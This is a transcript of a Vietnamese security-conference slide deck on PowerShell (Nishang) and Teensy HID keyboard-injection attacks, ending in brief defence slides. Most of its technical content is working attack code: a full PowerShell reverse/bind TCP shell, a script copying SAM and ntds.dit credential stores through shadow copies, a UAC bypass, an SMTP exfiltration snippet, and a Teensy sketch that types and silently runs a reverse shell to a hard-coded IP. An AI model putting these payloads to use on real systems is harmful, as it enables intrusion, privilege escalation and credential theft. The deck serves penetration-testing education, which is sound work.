SlideShare a Scribd company logo
SECURITY BOOTCAMP
ĐỒNG THÁP 2016
Kautilya và Powershell
trong kỹ thuật tấn công tiếp cận
Người trình bày: Trần Anh Khoa
Security Reseacher and Analyzer
Email: khoata@btis.vn
3
Xin cảm ơn các nhà tài trợ
44
BTIS hoạt động trong lĩnh vực An toàn thông tin. Chúng tôi tập hợp đội ngũ những chuyên viên
tốt nghiệp từ những trường Đại học uy tín của cả nước. Cùng với kinh nghiệm làm việc, nghiên
cứu trong lĩnh vực bảo mật, triển khai hệ thống kết hợp với sức trẻ của đội ngũ nhân viên, BTIS
mong sẽ cung cấp cho khách hàng những dịch vụ An toàn thông tin đáp ứng những nhu cầu
khác nhau từ thị trường.
LỜI CHÀO TỪ
CÔNG TY CÔNG NGHỆ BẢO TÍN
Địa chỉ: Tầng 04, 5A Trần Văn Dư, phường 13,
quận Tân Bình, Tp.Hồ Chí Minh
Điện thoại: 08 3810 6288 – 08 38106289
www.btis.vn | info@btis.vn
NỘI DUNG CHƯƠNG TRÌNH
5
I. POWERSHELL PENETRATION TESTING
II. TEENSY HID
III. KAUTILYA
IV. TẤN CÔNG TIẾP CẬN SỬ DỤNG HID TRONG THỰC TIỄN
V. PHƯƠNG PHÁP PHÒNG CHỐNG
VI. THẢO LUẬN
Powershell Penetration Testing
Giới thiệu Powershell, thực hiện phân tích PAYLOAD Powershell Penetration
Testing
6
Powershell
• PowerShell là một công cụ rất mạnh mẽ được tích hợp trong
Windows, hỗ trợ các nhiều tiện ích và cung cấp các quyền cao hơn
cho người dùng.
• Các tiện ích cơ bản của PS:
− Quản lý tiến trình
− Giám sát các Services
− Quản lý người dùng
− Thông tin về hệ thống máy
tính
7
Tại sao lại sử dụng PowerShell
8
Tại sao lại sử dụng PowerShell
9
Nishang
PowerShell for penetration
testing and offensive security
Nishang là một framwork chứa các scripts và payloads sử dụng PowerShell để
thực hiện kiểm tra bảo mật, kiểm tra pentest.
10
Nishang
Framework tập hợp các script và payloads thực thi bằng PowerShell
dùng để thực hiện các cuộc tấn công, kiểm thử hệ thống.
11
Phân tích PowerShell TCP Payload
• Link:
https://github.com/samratashok/nishang/raw/master/Shells/In
voke-PowerShellTcp.ps1
• Miêu tả:
Script chấp nhận các kết nối từ xa đến hoặc tự động kết nối đến một
host và port bất kỳ thông qua netcat
• Ví dụ:
− Chấp nhận các kết nối đến Port 4444
PS > Invoke-PowerShellTcp -Bind -Port 4444
− Kết nối đến host 192.168.254.226 tại port 4444
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port
4444
12
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object
System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-
String )
}
catch
{
Write-Warning "Something went wrong with execution of command
on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
Phân tích PowerShell TCP Payload
13
Phân tích Copy-VSS Payload
• Link:
https://github.com/samratashok/nishang/raw/master/Gather/C
opy-VSS.ps1
• Miêu tả:
Payload sử dụng VSS Service, tạo Shadow của ổ C và thực hiện Copy
các tập tin SAM.
• Ví dụ:
− Lưu các tập tin vào trong thư mục C:temp
PS > Copy-VSS -DestinationDir C:temp
14
$service = (Get-Service -name VSS)
if($service.Status -ne "Running")
{
$notrunning=1
$service.Start()
}
$id = (Get-WmiObject -list
win32_shadowcopy).Create("C:","ClientAccessible").ShadowID
$volume = (Get-WmiObject win32_shadowcopy -filter "ID='$id'")
$SAMpath = "$pwdSAM"
$SYSTEMpath = "$pwdSYSTEM"
$ntdspath = "$pwdntds"
if ($DestinationDir)
{
$SAMpath = "$DestinationDirSAM"
$SYSTEMpath = "$DestinationDirSYSTEM"
$ntdspath = "$DestinationDirntds"
}
`cmd /c copy "$($volume.DeviceObject)windowssystem32configSAM"
$SAMpath`
`cmd /c copy "$($volume.DeviceObject)windowssystem32configSAM"
$SYSTEMpath`
if($ntdsSource)
{
`cmd /c copy "$($volume.DeviceObject)$ntdsSourcentds.dit"
$ntdspath`
}
else
{
`cmd /c copy "$($volume.DeviceObject)windowssystem32ntds.dit"
$ntdspath`
}
$volume.Delete()
if($notrunning -eq 1)
{
$service.Stop()
}
}
Phân tích Copy-VSS Payload
15
Phân tích Bypass UAC Payload
• Link:
https://github.com/samratashok/nishang/raw/master/Escalatio
n/Invoke-PsUACme.ps1
• Miêu tả:
Payload bypass UAC
Ví dụ:
− Bypass UAC sử dụng phương thức sysprep
PS > Invoke-PsUACme -method sysprep -Verbose
16
Phân tích Bypass UAC Payload
17
$OSVersion = (Get-WmiObject -Class win32_OperatingSystem).BuildNumber
switch($method)
{
"Sysprep"
{
Write-Output "Using Sysprep method"
if ($OSVersion -match "76")
{
Write-Verbose "Windows 7 found!"
$dllname = "CRYPTBASE.dll"
$PathToDll = "$env:temp$dllname"
Write-Verbose "Writing to $PathToDll"
[Byte[]] $temp = $DllBytes -split ' '
[System.IO.File]::WriteAllBytes($PathToDll, $temp)
}
if ($OSVersion -match "96")
{
Write-Verbose "Windows 8 found!"
$dllname = "shcore.dll"
$PathToDll = "$env:temp$dllname"
Write-Verbose "Writing to $PathToDll"
[Byte[]] $temp = $DllBytes -split ' '
[System.IO.File]::WriteAllBytes($PathToDll, $temp)
}
if ($OSVersion -match "10")
{
Write-Warning "Windows 10 found. Wusa.exe on Windows 10 has
no extract option. Not supported *yet*. "
}
$Target = "$env:tempuac.cab"
$wusapath = "C:WindowsSystem32Sysprep"
$execpath = "C:WindowsSystem32Sysprepsysprep.exe"
Write-Verbose "Creating cab $Target"
$null = & makecab $PathToDll $Target
Write-Verbose "Extracting cab to $wusapath "
$null = & wusa $Target /extract:$wusapath
Start-Sleep -Seconds 1
Write-Verbose "Executing $execpath "
& $execpath
}
Analyze Bypass UAC Payload
Method Name Write DLL to DLL Name Executable to Use
sysprep
C:WindowsSystem32sys
prep
CRYPTBASE.dll for
Windows 7 and shcore.dll
for Windows 8
C:WindowsSystem32sys
prepsysprep.exe
oobe
C:WindowsSystem32oo
be
wdscore.dll for Windows 7,
8 and 10
C:WindowsSystem32oo
besetupsqm.exe
actionqueue
C:WindowsSystem32sys
prep
ActionQueue.dll only for
Windows 7
C:WindowsSystem32sys
prepsysprep.exe
migwiz
C:WindowsSystem32mi
gwiz
wdscore.dll for both
Windows 7 and 8
C:WindowsSystem32mi
gwizmigwiz.exe
cliconfg C:WindowsSystem32
ntwdblib.dll for Windows
7, 8 and 10
C:WindowsSystem32clic
onfg.exe
winsat
C:WindowsSystem32sys
prepCopy winsat.exe from
C: WindowsSystem32 to
C:WindowsSystem32sys
prep
ntwdblib.dll for Windows 7
and devobj.dll for
Windows 8 and 10
C:WindowsSystem32sys
prepwinsat.exe
mmc C:WindowsSystem32
ntwdblib.dll for Windows 7
and elsext.dll for Windows
8 and 10.
C:WindowsSystem32m
mc.exe eventvw
18
[int[]]
$Ports =
@(21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,31
28,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901),
[int]
$TimeOut = 100
Begin {
$ping = New-Object System.Net.Networkinformation.Ping
}
$Word = New-Object -ComObject Word.Application
$WordVersion = $Word.Version
#Check for Office 2007 or Office 2003
if (($WordVersion -eq "12.0") -or($WordVersion -eq "11.0"))
{
$Word.DisplayAlerts = $False
}
else
{
$Word.DisplayAlerts = "wdAlertsNone"
}
$smtpserver = "smtp.gmail.com"
$msg = new-object Net.Mail.MailMessage
$smtp = new-object Net.Mail.SmtpClient($smtpServer )
$smtp.EnableSsl = $True
$smtp.Credentials = New-Object System.Net.NetworkCredential("$username",
"$password");
$msg.From = "$username@gmail.com"
$msg.To.Add("$username@gmail.com")
$msg.Subject = $pastename
$msg.Body = $pastevalue
Các Payload khác
19
Teensy HID
Lịch sử hình thành các kỹ thuật khai thác, chiếm quyền người dùng thông qua
kết nối trên nền tảng USB. Tóm gọn các chức năng, ưu điểm/ nhược điểm của
các kỹ thuật cổ điển đến những phương pháp khai thác mới nhất, khó phát hiện
và nguy hiểm.
20
Lịch sử xuất hiện
• USB mass storage
containing malware
• U3 thumb drives with
"evil" autorun payloads
• Hardware key loggers
• Programmable HID USB
Keyboard Dongle
Devices
USB Rubber Ducky Deluxe
21
HID
Human Interface Device
Tiêu chuẩn USB được phân thành nhiều lớp (class) và định nghĩa bởi mã định
danh gán trên thiết bị. Các lớp USB giúp các thiết bị kết nối xác định chức năng
phần cứng mà nó được thiết kế. HID là một lớp theo tiêu chuẩn USB quốc tế,
được sử dụng trong việc phát triển các tính năng mở rộng, tương tác với các
thiết bị khác.
http://www.usb.org/developers/defined_class/#BaseClass03h
22
USB
HID (Human Interface Device)
• Human Interface Device (HID) cho phép các nhà phát triển tự tạo ra các
thiết bị/ ứng dụng trên kiến trúc USB mà không cần phải nhúng thêm
driver thiết bị. Tính chất tương thích cao của chip HID và kết nối USB là
một sự kết hợp hoàn hảo cho việc mở rộng các tính năng cao cấp cho thiết
bị USB ngày nay.
http://d3i5bpxkxvwmz.cloudfront.net/articles/
2012/01/23/USB-HID-Tutorial-1327308511.pdf
24
Teensy USB Development Board
Teensy là một mạch tích hợp sử dụng vi xử lý trên nền tảng USB, thiết kế với
kích thước nhỏ và có thể phát triển mở rộng thành nhiều tính năng khác nhau.
Tất cả quá trình biên dịch, nạp chip và thực thi mã đều thông qua kết nối USB.
25
Teensy USB Board, Version 3.2
Actual size is 1.4 by 0.7 inch
Version 3.2 features a 32 bit
ARM processor.
Price $19.80
https://www.pjrc.com/teensy/index.html
26
Demo nạp chip – Mouse - Notepad.ino
27
Kautilya
Công cụ cung cấp payloads cho các thiết bị HID giúp kiểm tra tính bảo mật của
hệ thống trong quá trình kiểm thử
28
Kautilya Features
Windows
Gather
− Gather Information
− Hashdump and Exfiltrate
− Keylog and Exfiltrate
− Sniffer
− WLAN keys dump
− Get Target Credentials
− Dump LSA Secrets
− Dump passwords in plain
− Copy SAM
− Dump Process Memory
− Dump Windows Vault Credentials
Execute
− Download and Execute
− Connect to Hotspot and Execute
code
− Code Execution using Powershell
− Code Execution using DNS TXT
queries
− Download and Execute
PowerShell Script
− Execute ShellCode
− Reverse TCP Shell
Backdoor
− Sethc and Utilman backdoor
− Time based payload execution
− HTTP backdoor
− DNS TXT Backdoor
− Wireless Rogue AP
− Tracking Target Connectivity
− Gupt Backdoor
Escalate
− Remove Update
− Forceful Browsing
Manage
− Add an admin user
− Change the default DNS server
− Edit the hosts file
− Add a user and Enable RDP
− Add a user and Enable Telnet
− Add a user and Enable Powershell
Remoting
Drop Files
− Drop a MS Word File
− Drop a MS Excel File
− Drop a CHM (Compiled HTML
Help) file
− Drop a Shortcut (.LNK) file
− Drop a JAR file
Misc
− Browse and Accept Java Signed
Applet
− Speak on Target
Linux
− Download and Execute
− Reverse Shells using built in tools
− Code Execution
− DNS TXT Code Execution
− Perl reverse shell (MSF)
OSX
− Download and Execute
− DNS TXT Code Execution
− Perl Reverse Shell (MSF)
− Ruby Reverse Shell (MSF)
29
Demo nạp chip – ReverseTCP.ino
30
void setup() {
delay(3000);
// Kiểm tra đã nhận Teensy chưa bằng tín hiệu đèn trên CAPLOCK?
wait_for_drivers(2000);
// Thu nhỏ tất cả chương trình đang chạy
minimise_windows();
delay(500);
while (!cmd(3, 500, "cmd /T:01 /K "@echo off && mode con:COLS=15 LINES=1
&& title Installing Drivers"")) // Thực hiện gọi CMD với các tham số truyền
vào.
{
reset_windows_desktop(2000);
}
delay(1000);
// Thực hiện khởi tạo PAYLOAD POWERSHELL
Keyboard.println("echo $cl = New-Object
System.Net.Sockets.TCPClient("192.168.1.37",4444) > %temp%rtcp.ps1");
Keyboard.println("echo $str = $cl.GetStream() >> %temp%rtcp.ps1");
Keyboard.println("echo [byte[]]$bts = 0..65535^|%{0} >>
%temp%rtcp.ps1");
Keyboard.println("echo while(($i = $str.Read($bts, 0, $bts.Length)) -ne 0){
>> %temp%rtcp.ps1");
Keyboard.println("echo $data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bts,0, $i) >> %temp%rtcp.ps1");
Keyboard.println("echo $sb = (iex $data 2>&1 ^| Out-String ) >>
%temp%rtcp.ps1");
Keyboard.println("echo $sb2 = $sb + "PS " + (pwd).Path + "> " >>
%temp%rtcp.ps1");
Keyboard.println("echo $sbt = ([text.encoding]::ASCII).GetBytes($sb2) >>
%temp%rtcp.ps1");
Keyboard.println("echo $str.Write($sbt,0,$sbt.Length) >>
%temp%rtcp.ps1");
Keyboard.println("echo $str.Flush()} >> %temp%rtcp.ps1");
Keyboard.println("echo $cl.Close() >> %temp%rtcp.ps1");
// Thực hiện khởi tạo VBS
Keyboard.println("echo Set oShell = CreateObject("WScript.Shell") >
%temp%rtcp.vbs");
Keyboard.println("echo oShell.Run("powershell.exe -ep bypass -nologo -c
%temp%rtcp.ps1"),0,true >> %temp%rtcp.vbs");
delay(1000);
// Thực thi tập tin VBS
Keyboard.println("wscript %temp%rtcp.vbs");
delay(1000);
Keyboard.println("exit");
}
31
$cl = New-Object System.Net.Sockets.TCPClient("192.168.1.37",4444)
$str = $cl.GetStream()
[byte[]]$bts = 0..65535|%{0}
while(($i = $str.Read($bts, 0, $bts.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bts,0,
$i)
$sb = (iex $data | Out-String )
$sb2 = $sb + "PS " + (pwd).Path + "> "
$sbt = ([text.encoding]::ASCII).GetBytes($sb2)
$str.Write($sbt,0,$sbt.Length)
$str.Flush()}
$cl.Close()
Kiểm tra nhận
Teensy chưa
Thu nhỏ màn
hình
(Windows + M)
Mở Run
(Windows + R)
Nhập lệnh
CMD
Khởi tạo
PAYLOAD
POWERSHELL
Khởi tạo Script
Vbs
Thực thi SCRIPT Thoát
Tổng quan quy trình
Demo nạp chip – CopySAM.ino
33
34
Bypass UAC
35
Hàm Bypass UAC
36
// Hàm Bypass UAC
void send_left_enter() {
delay(1000);
Keyboard.set_key1(KEY_LEFT); // Nhấn phím trái
Keyboard.send_now();
delay(100);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.set_key1(KEY_ENTER); // Nhấn Enter
Keyboard.send_now();
delay(100);
Keyboard.set_key1(0);
Keyboard.send_now();
}
Kiểm tra nhận
Teensy chưa
Thu nhỏ màn hình
(Windows + M)
Nhấn nút
Windows
Nhập lệnh CMD
Nhấp tổ hợp phím
CTRL + SHIFT +
ENTER
Trên hộp thoại
UAC, nhấn phái
qua trái và ENTER
Khởi tạo PAYLOAD
POWERSHELL
Khởi tạo Script
Vbs
Thực thi SCRIPT
Thoát
Tổng quan quy trình
Tấn công tiếp cận sử dụng
HID trong thực tiễn
HID hỗ trợ hoạt động trên đa nền tảng hệ điều hành và kiến trúc phần cứng.
38
SOCIAL ENGINEERING:
THE ART OF HUMAN HACKING
From elicitation, pretexting, influence and
manipulation all aspects of social
engineering are picked apart, discussed
and explained by using real world
examples, personal experience and the
science behind them to unraveled the
mystery in social engineering.
Kevin Mitnick—one of the most famous
social engineers in the world—
popularized the term “social engineering.”
He explained that it is much easier to trick
someone into revealing a password for a
system than to exert the effort of hacking
into the system. Mitnick claims that this
social engineering tactic was the single-
most effective method in his arsenal. This
indispensable book examines a variety of
maneuvers that are aimed at deceiving
unsuspecting victims, while it also
addresses ways to prevent social
engineering threats.
39
Dịch vụ sạc điện thoại?
40
Thiết bị đọc thẻ nhớ
41
Bàn phím USB
42
Data Leak Prevention Bypass
43
Tấn công đa nền tảng
• Microsoft Windows: Powershell, VBS
• MAC OS: Mouse, Keyboard, Automated brute force attack against
the EFI PIN
• Linux: Mouse, Keyboard
• Android: OTG Device, brute force
• iOS: brute force,…
• …
44
Microsoft Windows
45
The USB ID Repository
16c0 Van Ooijen Technische Informatica
0477 Teensy Rebootor
0478 Teensy Halfkay Bootloader
0479 Teensy Debug
047a Teensy Serial
047b Teensy Serial+Debug
047c Teensy Keyboard
047d Teensy Keyboard+Debug
047e Teensy Mouse
047f Teensy Mouse+Debug
0480 Teensy RawHID
0481 Teensy RawHID+Debug
0482 Teensyduino Keyboard+Mouse+Joystick
0483 Teensyduino Serial
0484 Teensyduino Disk
0485 Teensyduino MIDI
0486 Teensyduino RawHID
0487 Teensyduino Serial+Keyboard+Mouse+Joystick
0488 Teensyduino Flight Sim Controls
46
47
It’s not a USB! It’s a TeensyHID
48
• C:Program Files (x86)Arduinohardwareteensyavrcoresteensy3usb_desc.h
usb_desc.h
Microsoft Windows
49
Microsoft Windows
50
Microsoft Windows
51
Các kỹ thuật phòng chống
Phương thức phát hiện, phòng chống các dạng phần cứng độc hại trên các nền
tảng hệ điều hành.
52
Microsoft Windows - GPO
53
Linux
• Locking down Linux using UDEV
• http://www.irongeek.com/i.php?page=security/plug-and-prey-
malicious-usb-
devices&mode=print#3.2_Locking_down_Linux_using_UDEV
54
Tài liệu tham khảo
1. https://www.pjrc.com/teensy/
2. http://www.irongeek.com/i.php?page=security/plug-and-
prey-malicious-usb-devices
3. http://www.irongeek.com/i.php?page=security/programmable
-hid-usb-keystroke-dongle
4. https://github.com/offensive-security/hid-backdoor-peensy
5. https://github.com/trustedsec/social-engineer-
toolkit/blob/master/src/teensy/peensy.pde
6. https://github.com/matterpreter/penteensy
7. https://github.com/samratashok/nishang
55
Thảo luận
56

More Related Content

PDF
Security Bootcamp 2013 penetration testing (basic)
PDF
Khai thác lỗi phần mềm thi chứng chỉ của Microsoft - Phạm Đình Thắng
PDF
Security Bootcamp 2013 - Tấn công bằng mã độc - Trương Minh Nhật Quang
PDF
Tấn công và khai thác mạng máy tính theo mô hình thường trực cao cấp APT - Lê...
PPT
XXE injection - Nguyễn Tăng Hưng
PPTX
Thu 6 04 advance penetration test with armitage
PDF
Security Bootcamp 2012 - Bảo vệ Web App với Mod Security (Sử Hoàng Sơn)
PDF
Security Bootcamp 2013 - Định hướng công việc ngành ATTT - Nguyễn Hải Long
Security Bootcamp 2013 penetration testing (basic)
Khai thác lỗi phần mềm thi chứng chỉ của Microsoft - Phạm Đình Thắng
Security Bootcamp 2013 - Tấn công bằng mã độc - Trương Minh Nhật Quang
Tấn công và khai thác mạng máy tính theo mô hình thường trực cao cấp APT - Lê...
XXE injection - Nguyễn Tăng Hưng
Thu 6 04 advance penetration test with armitage
Security Bootcamp 2012 - Bảo vệ Web App với Mod Security (Sử Hoàng Sơn)
Security Bootcamp 2013 - Định hướng công việc ngành ATTT - Nguyễn Hải Long

What's hot (19)

PDF
SBC 2012 - SSL/TLS Attacks & Defenses (Lê Quốc Nhật Đông)
PDF
Security Bootcamp 2013 - Mô hình ứng dụng hội chẩn mã độc trực tuyến trong ...
PPT
Hướng nghiên cứu mới cho ngành mật mã nước nhà - TS Hồ Ngọc Duy
PDF
SBC 2012 - Phát hiện tấn công DDoS sử dụng mạng Neural (Trần Nguyên Ngọc)
PDF
SBC 2012 - Linux Hardening (Mẫn Thắng)
PDF
SBC 2012 - Software Exploitation (Nguyễn Chấn Việt)
PDF
Security Bootcamp 2013 - OWASP TOP 10- 2013
PDF
Luc Nguyen - Hiem họa an toan tu cac modem internet cua cac ISP tại Viet Nam
PDF
SBC 2012 - Database Security (Nguyễn Thanh Tùng)
PDF
Slide báo cáo cuối kì system hacking-Trần Nguyễn Lộc
PDF
SBC 2012 - Penetration Testting với Backtrack 5 (Nguyễn Phương Trường Anh + N...
PDF
SBC 2012 - Một số thuật toán phân lớp và ứng dụng trong IDS (Nguyễn Đình Chiểu)
DOCX
Bao cao thuc tap tuan 1 Athena Tran Dang Khoa
PPTX
Slide báo cáo: System Hacking
PDF
SBC 2012 - Windows Security (Lương Trung Thành)
DOCX
Loi baomat windows(f)
PPTX
Ossec – host based intrusion detection system
PDF
SBC 2012 - Tổng quan về bảo mật trong Cloud (Lê Vĩnh Đạt)
PPT
File inclusion attack(nop thay)
SBC 2012 - SSL/TLS Attacks & Defenses (Lê Quốc Nhật Đông)
Security Bootcamp 2013 - Mô hình ứng dụng hội chẩn mã độc trực tuyến trong ...
Hướng nghiên cứu mới cho ngành mật mã nước nhà - TS Hồ Ngọc Duy
SBC 2012 - Phát hiện tấn công DDoS sử dụng mạng Neural (Trần Nguyên Ngọc)
SBC 2012 - Linux Hardening (Mẫn Thắng)
SBC 2012 - Software Exploitation (Nguyễn Chấn Việt)
Security Bootcamp 2013 - OWASP TOP 10- 2013
Luc Nguyen - Hiem họa an toan tu cac modem internet cua cac ISP tại Viet Nam
SBC 2012 - Database Security (Nguyễn Thanh Tùng)
Slide báo cáo cuối kì system hacking-Trần Nguyễn Lộc
SBC 2012 - Penetration Testting với Backtrack 5 (Nguyễn Phương Trường Anh + N...
SBC 2012 - Một số thuật toán phân lớp và ứng dụng trong IDS (Nguyễn Đình Chiểu)
Bao cao thuc tap tuan 1 Athena Tran Dang Khoa
Slide báo cáo: System Hacking
SBC 2012 - Windows Security (Lương Trung Thành)
Loi baomat windows(f)
Ossec – host based intrusion detection system
SBC 2012 - Tổng quan về bảo mật trong Cloud (Lê Vĩnh Đạt)
File inclusion attack(nop thay)
Ad

Viewers also liked (20)

PPTX
Pham Ngọc Bắc - An toàn thông tin dưới góc nhìn Quản lý theo tiêu chuẩn Quốc...
PPTX
Lương Trung Thành - Cloud Control Matrix
PDF
Philip Hung Cao - Cloud security, the journey has begun
PDF
Lê Trung Nghĩa - Suggestions after VNA attack with template
PPTX
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
PPT
Nguyễn Tấn Vi - office of the CISO
PPTX
Vi Minh Toại - Security Risk Management, tough path to success
PPT
Đặng Hải Sơn - Báo cáo tình hình An toàn thông tin trong các cơ quan nhà nước
DOC
Introduction of Kautilya's Arthashastra
PPT
Kautilya Financial Consolidation
PPTX
More fun using Kautilya
DOC
Management fundamentals based on Arthashastra - CIF
PPTX
Kautilya: Teensy beyond shell
PPTX
Tình hình ANTT ở Việt Nam - Lê Công Phú - CMC Infosec
PDF
Management aspect derived from kautilya's arthashastras
PPTX
Chu nhat 02 luu thanh tra e-prior e-trust
PPTX
Triển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
PDF
Xây dựng cộng đồng - Lê Trung Nghĩa - Bộ KHCN
PPT
Thu 6 03 bootcamp 2014 - xxe injection - nguyen tang hung
Pham Ngọc Bắc - An toàn thông tin dưới góc nhìn Quản lý theo tiêu chuẩn Quốc...
Lương Trung Thành - Cloud Control Matrix
Philip Hung Cao - Cloud security, the journey has begun
Lê Trung Nghĩa - Suggestions after VNA attack with template
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
Nguyễn Tấn Vi - office of the CISO
Vi Minh Toại - Security Risk Management, tough path to success
Đặng Hải Sơn - Báo cáo tình hình An toàn thông tin trong các cơ quan nhà nước
Introduction of Kautilya's Arthashastra
Kautilya Financial Consolidation
More fun using Kautilya
Management fundamentals based on Arthashastra - CIF
Kautilya: Teensy beyond shell
Tình hình ANTT ở Việt Nam - Lê Công Phú - CMC Infosec
Management aspect derived from kautilya's arthashastras
Chu nhat 02 luu thanh tra e-prior e-trust
Triển khai Modsecurity vào hệ thống NMS - Quan Minh Tâm
Xây dựng cộng đồng - Lê Trung Nghĩa - Bộ KHCN
Thu 6 03 bootcamp 2014 - xxe injection - nguyen tang hung
Ad

Similar to Trần Anh Khoa - Kautilya và Powershell trong kỹ thuật tấn công tiếp cận (20)

PDF
Devexpress cho asp.net
PPTX
Silde báo cáo Athena -LêPha
PPTX
Silde Báo cáo thưc tập Athena
DOCX
metasploitable example attacks list.docx
PDF
Docker 101
DOCX
Báo cáo thực tập
PPTX
mp_hag_slide_android_2321.pptx
PDF
It monitoring with nagios lac tien man thang
PDF
It monitoring with nagios lac tien man thang
PDF
Nguyen Dang Van
PDF
Thêm sửa-xóa-combobox - c#
DOCX
Nguyễn Đằng Vân_Báo Cáo Giữa Kỳ
DOCX
Mai kim thi bao cao thuc tap tuan 1
PDF
HƯỚNG DẪN SỬ DỤNG PHẦN MỀM SUBVERSION (SVN) TOÀN TẬP
PPSX
Linux web hosting (Thuyet trinh)
PPSX
Linux web hosting (Thuyet trinh)
DOCX
Báo cáo thực tập
PDF
Cách tối ưu hóa môi trường lập trình ứng dụng cho Android - Tăng tốc máy ảo A...
DOCX
PDF
Hướng dẫn triển khai phân loại hình ảnh trên Website miễn phí.pdf
Devexpress cho asp.net
Silde báo cáo Athena -LêPha
Silde Báo cáo thưc tập Athena
metasploitable example attacks list.docx
Docker 101
Báo cáo thực tập
mp_hag_slide_android_2321.pptx
It monitoring with nagios lac tien man thang
It monitoring with nagios lac tien man thang
Nguyen Dang Van
Thêm sửa-xóa-combobox - c#
Nguyễn Đằng Vân_Báo Cáo Giữa Kỳ
Mai kim thi bao cao thuc tap tuan 1
HƯỚNG DẪN SỬ DỤNG PHẦN MỀM SUBVERSION (SVN) TOÀN TẬP
Linux web hosting (Thuyet trinh)
Linux web hosting (Thuyet trinh)
Báo cáo thực tập
Cách tối ưu hóa môi trường lập trình ứng dụng cho Android - Tăng tốc máy ảo A...
Hướng dẫn triển khai phân loại hình ảnh trên Website miễn phí.pdf

More from Security Bootcamp (20)

PDF
Ẩn mình kết nối C&C - Xu hướng tấn công và cách phòng thủ
PPTX
AI-ttacks - Nghiên cứu về một số tấn công vào các mô hình học máy và AI
PPTX
Human and AI - Balancing Innovation and Data Privacy in the Age of Cyber Threats
PPTX
Robustness of Deep learning mode ls.pptx
PPTX
DLL Sideloading cho mọi nhà - Security Bootcamp 2024
PDF
Let the Hunt Begin - Security Bootcamp 2024
PDF
Detection as Code - Effective Approach to manage & optimize SOC Development
PDF
Quản trị rủi ro nguồn mở tại các doanh nghiệp phần mềm Việt Nam
PDF
Phân tích một chiến dịch ransomware: Từ lan truyền đến tống tiền
PDF
CyberJutsu - The Joern-ey of Static Code Analysis.pdf
PPTX
Security in the AI and Web3 era - Veramine
PDF
ĐỂ AI ĐƯỢC AN TOÀN, MINH BẠCH, CÓ TRÁCH NHIỆM VÀ ‘NHÂN TÍNH’ HƠN
PDF
Modern Security Operations - Building and leading modern SOC
PDF
Humanity and AI: Balancing Innovation and Data Privacy in the Age of Cyber Th...
PPTX
SBC2024_AI TRONG CYBER SECURITY_final.pptx
PPTX
Cyber GenAI – Another Chatbot? - Trellix
PDF
Akamai_ API Security Best Practices - Real-world attacks and breaches
PPTX
How to steal a drone Drone Hijacking - VNPT Cyber Immunity
PDF
Empowering Malware Analysis with IDA AppCall
PDF
Detection of Spreading Process on many assets over the network
Ẩn mình kết nối C&C - Xu hướng tấn công và cách phòng thủ
AI-ttacks - Nghiên cứu về một số tấn công vào các mô hình học máy và AI
Human and AI - Balancing Innovation and Data Privacy in the Age of Cyber Threats
Robustness of Deep learning mode ls.pptx
DLL Sideloading cho mọi nhà - Security Bootcamp 2024
Let the Hunt Begin - Security Bootcamp 2024
Detection as Code - Effective Approach to manage & optimize SOC Development
Quản trị rủi ro nguồn mở tại các doanh nghiệp phần mềm Việt Nam
Phân tích một chiến dịch ransomware: Từ lan truyền đến tống tiền
CyberJutsu - The Joern-ey of Static Code Analysis.pdf
Security in the AI and Web3 era - Veramine
ĐỂ AI ĐƯỢC AN TOÀN, MINH BẠCH, CÓ TRÁCH NHIỆM VÀ ‘NHÂN TÍNH’ HƠN
Modern Security Operations - Building and leading modern SOC
Humanity and AI: Balancing Innovation and Data Privacy in the Age of Cyber Th...
SBC2024_AI TRONG CYBER SECURITY_final.pptx
Cyber GenAI – Another Chatbot? - Trellix
Akamai_ API Security Best Practices - Real-world attacks and breaches
How to steal a drone Drone Hijacking - VNPT Cyber Immunity
Empowering Malware Analysis with IDA AppCall
Detection of Spreading Process on many assets over the network

Trần Anh Khoa - Kautilya và Powershell trong kỹ thuật tấn công tiếp cận

  • 2. Kautilya và Powershell trong kỹ thuật tấn công tiếp cận Người trình bày: Trần Anh Khoa Security Reseacher and Analyzer Email: khoata@btis.vn
  • 3. 3 Xin cảm ơn các nhà tài trợ
